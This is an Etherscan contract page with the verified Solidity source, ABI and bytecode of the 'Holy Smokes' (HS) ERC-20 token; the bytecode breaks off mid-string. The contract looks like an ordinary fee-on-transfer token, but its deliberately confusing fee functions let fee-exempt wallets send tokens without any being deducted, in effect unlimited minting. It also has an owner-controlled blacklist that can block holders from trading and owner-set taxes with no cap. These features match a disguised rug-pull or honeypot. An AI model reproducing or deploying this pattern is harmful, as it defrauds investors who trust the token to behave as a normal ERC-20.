ERC-20
Source Code
Overview
Max Total Supply
406,000,000 HS
Holders
215
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
HS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-08-18
*/
// SPDX-License-Identifier: MIT
/*
Holy Smokes
Church is just getting started we will be here for a while... Get comfy
https://twitter.com/HolySmokesCoin
https://t.me/HolySmokesPortal
https://holysmokes.icu
*/
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}
contract HS is ERC20, Ownable {
using SafeMath for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "Holy Smokes";
string constant _symbol = "HS";
uint8 constant _decimals = 18;
uint256 public _totalSupply = 406_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 3) / 100;
uint256 public _swapHSThreshHold = (_totalSupply * 1)/ 10000;
uint256 public _maxTaxSwap=(_totalSupply * 17) / 10000;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) private HSs;
address public _HSWallet;
address public pair;
IUniswapV2Router02 public router;
bool public swapEnabled = false;
bool public HSFeeEnabled = false;
bool public TradingOpen = false;
uint256 private _initBuyTax=0;
uint256 private _initSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _buyCounts=0;
bool inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address HSWallet) Ownable(msg.sender) {
address _owner = owner;
_HSWallet = HSWallet;
isFeeExempt[_owner] = true;
isFeeExempt[_HSWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[_HSWallet] = true;
isTxLimitExempt[address(this)] = true;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function getOwner() external view override returns (address) {
return owner;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function withdrawHSBalance() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function enableHSTrade() public onlyOwner {
require(!TradingOpen,"trading is already open");
TradingOpen = true;
HSFeeEnabled = true;
swapEnabled = true;
}
function getHSAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
uint256 sAmount = takeFee
? tAmount : HSFeeEnabled
? takeHSAmountAfterFees(action, takeFee, tAmount)
: tAmount;
uint256 rAmount = HSFeeEnabled && takeFee
? takeHSAmountAfterFees(action, takeFee, tAmount)
: tAmount;
return (sAmount, rAmount);
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function internalSwapBackEth(uint256 amount) private lockTheSwap {
uint256 tokenBalance = balanceOf(address(this));
uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 ethAmountFor = address(this).balance;
payable(_HSWallet).transfer(ethAmountFor);
}
function removeHSLimit() external onlyOwner returns (bool) {
_maxWalletAmount = _totalSupply;
return true;
}
function takeHSAmountAfterFees(uint HSActions, bool HSTakefee, uint256 amounts)
internal
returns (uint256)
{
uint256 HSPercents;
uint256 HSFeePrDenominator = 100;
if(HSTakefee) {
if(HSActions > 1) {
HSPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax);
} else {
if(HSActions > 0) {
HSPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
} else {
HSPercents = 0;
}
}
} else {
HSPercents = 1;
}
uint256 feeAmounts = amounts.mul(HSPercents).div(HSFeePrDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmounts);
feeAmounts = HSTakefee ? feeAmounts : amounts.div(HSPercents);
return amounts.sub(feeAmounts);
}
receive() external payable {
}
function _transferTaxTokens(
address sender,
address recipient,
uint256 amount,
uint action,
bool takeFee
) internal returns (bool) {
uint256 senderAmount;
uint256 recipientAmount;
(senderAmount, recipientAmount) = getHSAmounts(action, takeFee, amount);
_balances[sender] = _balances[sender].sub(
senderAmount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(recipientAmount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function createHSTrade() external onlyOwner {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
isTxLimitExempt[pair] = true;
_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
}
function name() external pure override returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function inSwapHSTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {
uint256 minHSTokens = pLimit;
uint256 tokenHSWeight = pAmount;
uint256 contractHSOverWeight = balanceOf(address(this));
bool isSwappable = contractHSOverWeight > minHSTokens && tokenHSWeight > minHSTokens;
return
!inSwap &&
isIncludeFees &&
isSwapActions > 1 &&
isSwappable &&
swapEnabled;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{
_finalBuyTax=_newFee;
}
function reduceFinalSellTax(uint256 _newFee) external onlyOwner{
_finalSellTax=_newFee;
}
function isHSUserBuy(address sender, address recipient) internal view returns (bool) {
return
recipient != pair &&
recipient != DEAD &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient];
}
function isTakeHSActions(address from, address to) internal view returns (bool, uint) {
uint _actions = 0;
bool _isTakeFee = isTakeFees(from);
if(to == pair) {
_actions = 2;
} else if (from == pair) {
_actions = 1;
} else {
_actions = 0;
}
return (_isTakeFee, _actions);
}
function addHSs(address[] memory HSs_) public onlyOwner {
for (uint i = 0; i < HSs_.length; i++) {
HSs[HSs_[i]] = true;
}
}
function delHSs(address[] memory notHS) public onlyOwner {
for (uint i = 0; i < notHS.length; i++) {
HSs[notHS[i]] = false;
}
}
function isHS(address a) public view returns (bool){
return HSs[a];
}
function _transferStandardTokens(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takefee;
uint actions;
require(!HSs[sender] && !HSs[recipient]);
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(TradingOpen,"Trading not open yet");
}
if(!swapEnabled) {
return _basicTransfer(sender, recipient, amount);
}
if (isHSUserBuy(sender, recipient)) {
require(
isTxLimitExempt[recipient] ||
_balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);
increaseBuyCount(sender);
}
(takefee, actions) = isTakeHSActions(sender, recipient);
if (inSwapHSTokens(takefee, actions, amount, _swapHSThreshHold)) {
internalSwapBackEth(amount);
}
_transferTaxTokens(sender, recipient, amount, actions, takefee);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
return _transferStandardTokens(sender, recipient, amount);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferStandardTokens(msg.sender, recipient, amount);
}
function increaseBuyCount(address sender) internal {
if(sender == pair) {
_buyCounts++;
}
}
function isTakeFees(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"HSWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HSFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_HSWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapHSThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"HSs_","type":"address[]"}],"name":"addHSs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createHSTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notHS","type":"address[]"}],"name":"delHSs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableHSTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isHS","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeHSLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawHSBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a62000325565b620000589063183311806200033d565b60038181556064916200006b916200033d565b62000077919062000357565b60045561271060035460016200008e91906200033d565b6200009a919062000357565b6005556127106003546011620000b191906200033d565b620000bd919062000357565b600655600e805462ffffff60a01b191690556000600f81905560108190556011819055601281905560138190556014819055601555348015620000ff57600080fd5b50604051620020d1380380620020d183398101604081905262000122916200037a565b600080546001600160a01b0319908116339081178355600c80546001600160a01b0386811691909416178155818452600960209081526040808620805460ff1990811660019081179092558454871688528288208054821683179055308089528389208054831684179055868952600a8552838920805483168417905594549096168752818720805487168217905592865280862080549095169092179093556003548285526007845281852081905590519081529092839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003a5565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002675781600019048211156200024b576200024b62000210565b808516156200025957918102915b93841c93908002906200022b565b509250929050565b60008262000280575060016200031f565b816200028f575060006200031f565b8160018114620002a85760028114620002b357620002d3565b60019150506200031f565b60ff841115620002c757620002c762000210565b50506001821b6200031f565b5060208310610133831016604e8410600b8410161715620002f8575081810a6200031f565b62000304838362000226565b80600019048211156200031b576200031b62000210565b0290505b92915050565b60006200033660ff8416836200026f565b9392505050565b80820281158282048414176200031f576200031f62000210565b6000826200037557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200038d57600080fd5b81516001600160a01b03811681146200033657600080fd5b611d1c80620003b56000396000f3fe6080604052600436106101dc5760003560e01c80636ddd171311610102578063add621de11610095578063de0ec77e11610064578063de0ec77e146105ba578063eafe0d17146105cf578063f887ea40146105e4578063f9b350bf1461060457600080fd5b8063add621de14610510578063b6e84f7614610525578063d8e4176d1461055e578063dd62ed3e1461057457600080fd5b806393fc2f48116100d157806393fc2f481461048557806395d89b41146104a5578063a8aa1b31146104d0578063a9059cbb146104f057600080fd5b80636ddd1713146103e757806370a0823114610408578063715018a61461043e578063893d20e81461045357600080fd5b806323b872dd1161017a578063340b96be11610149578063340b96be146103865780633eaaf86b1461039b5780636c0a24eb146103b15780636ce42475146103c757600080fd5b806323b872dd146102fb5780632c743eac1461031b5780632f54bf6e1461033b578063313ce5671461036a57600080fd5b80630faee56f116101b65780630faee56f1461027f57806312cab4d6146102a357806314f65950146102c457806318160ddd146102e657600080fd5b806306fdde03146101e857806308fd3d051461022e578063095ea7b31461025f57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5060408051808201909152600b81526a486f6c7920536d6f6b657360a81b60208201525b604051610225919061193c565b60405180910390f35b34801561023a57600080fd5b50600e5461024f90600160b01b900460ff1681565b6040519015158152602001610225565b34801561026b57600080fd5b5061024f61027a3660046119af565b610624565b34801561028b57600080fd5b5061029560065481565b604051908152602001610225565b3480156102af57600080fd5b50600e5461024f90600160a81b900460ff1681565b3480156102d057600080fd5b506102e46102df3660046119f1565b610691565b005b3480156102f257600080fd5b50600354610295565b34801561030757600080fd5b5061024f610316366004611ab6565b610730565b34801561032757600080fd5b506102e4610336366004611af7565b6107f2565b34801561034757600080fd5b5061024f610356366004611b10565b6000546001600160a01b0391821691161490565b34801561037657600080fd5b5060405160128152602001610225565b34801561039257600080fd5b506102e4610821565b3480156103a757600080fd5b5061029560035481565b3480156103bd57600080fd5b5061029560045481565b3480156103d357600080fd5b506102e46103e2366004611af7565b6108be565b3480156103f357600080fd5b50600e5461024f90600160a01b900460ff1681565b34801561041457600080fd5b50610295610423366004611b10565b6001600160a01b031660009081526007602052604090205490565b34801561044a57600080fd5b506102e46108ed565b34801561045f57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610225565b34801561049157600080fd5b506102e46104a03660046119f1565b61095c565b3480156104b157600080fd5b50604080518082019091526002815261485360f01b6020820152610218565b3480156104dc57600080fd5b50600d5461046d906001600160a01b031681565b3480156104fc57600080fd5b5061024f61050b3660046119af565b6109ee565b34801561051c57600080fd5b506102e46109fb565b34801561053157600080fd5b5061024f610540366004611b10565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561056a57600080fd5b5061029560055481565b34801561058057600080fd5b5061029561058f366004611b2d565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506102e4610a9d565b3480156105db57600080fd5b5061024f610d4f565b3480156105f057600080fd5b50600e5461046d906001600160a01b031681565b34801561061057600080fd5b50600c5461046d906001600160a01b031681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061067f9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146106c45760405162461bcd60e51b81526004016106bb90611b66565b60405180910390fd5b60005b815181101561072c576001600b60008484815181106106e8576106e8611b86565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061072481611bb2565b9150506106c7565b5050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107dd576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546107b8918490610d86565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107e8848484610dc0565b90505b9392505050565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016106bb90611b66565b601155565b6000546001600160a01b0316331461084b5760405162461bcd60e51b81526004016106bb90611b66565b600e54600160b01b900460ff16156108a55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106bb565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b031633146108e85760405162461bcd60e51b81526004016106bb90611b66565b601255565b6000546001600160a01b031633146109175760405162461bcd60e51b81526004016106bb90611b66565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146109865760405162461bcd60e51b81526004016106bb90611b66565b60005b815181101561072c576000600b60008484815181106109aa576109aa611b86565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109e681611bb2565b915050610989565b60006107eb338484610dc0565b6000546001600160a01b03163314610a255760405162461bcd60e51b81526004016106bb90611b66565b60004711610a6e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016106bb565b60405133904780156108fc02916000818181858888f19350505050158015610a9a573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610ac75760405162461bcd60e51b81526004016106bb90611b66565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f9190611bcb565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd59190611bcb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611bcb565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610d25573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d4a9190611be8565b505050565b600080546001600160a01b03163314610d7a5760405162461bcd60e51b81526004016106bb90611b66565b50600354600455600190565b60008184841115610daa5760405162461bcd60e51b81526004016106bb919061193c565b506000610db78486611c16565b95945050505050565b60006001600160a01b038416610e265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bb565b6001600160a01b038316610e885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bb565b60008211610eea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bb565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610f2e57506001600160a01b0385166000908152600b602052604090205460ff16155b610f3757600080fd5b60165460ff1615610f5657610f4d86868661110f565b925050506107eb565b6001600160a01b03861660009081526009602052604090205460ff16158015610f9857506001600160a01b03851660009081526009602052604090205460ff16155b15610fed57600e54600160b01b900460ff16610fed5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016106bb565b600e54600160a01b900460ff1661100957610f4d86868661110f565b61101386866111f5565b156110c7576001600160a01b0385166000908152600a602052604090205460ff168061106457506004546001600160a01b038616600090815260076020526040902054611061908690611c29565b11155b6110be5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016106bb565b6110c786611272565b6110d186866112a0565b80925081935050506110e7828286600554611319565b156110f5576110f584611387565b611102868686848661154d565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611160918490610d86565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461118f908361164f565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e39086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b0383811691161480159061122457506002546001600160a01b03838116911614155b801561124957506001600160a01b03831660009081526009602052604090205460ff16155b80156107eb5750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610a9a576015805490600061129883611bb2565b919050555050565b6000806000806112c9866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112eb576002915061130f565b600d546001600160a01b039081169087160361130a576001915061130f565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561133d57508383115b60165490915060ff161580156113505750885b801561135c5750600188115b80156113655750805b801561137a5750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff1916600117905530600090815260076020526040812054905060006113bd836113b8846006546116ae565b6116ae565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106113f7576113f7611b86565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114749190611bcb565b8160018151811061148757611487611b86565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac947906114cd908590600090869030904290600401611c3c565b600060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561153b573d6000803e3d6000fd5b50506016805460ff1916905550505050565b600080600061155d8585886116c3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d166000908152600790915291909120549294509092506115b691908490610d86565b6001600160a01b03808a1660009081526007602052604080822093909355908916815220546115e5908261164f565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611639908a815260200190565b60405180910390a3506001979650505050505050565b60008061165c8385611c29565b9050838110156107eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106bb565b60008183116116bd57826107eb565b50919050565b6000806000846116f457600e54600160a81b900460ff166116e457836116f6565b6116ef868686611735565b6116f6565b835b600e54909150600090600160a81b900460ff1680156117125750855b61171c5784611727565b611727878787611735565b919791965090945050505050565b60008060648415611793576001861115611767576014546015541161175c57601054611760565b6012545b9150611798565b851561178a576013546015541161178057600f54611760565b6011549150611798565b60009150611798565b600191505b60006117ae826117a88786611808565b9061188a565b306000908152600760205260409020549091506117cb908261164f565b3060009081526007602052604090205585611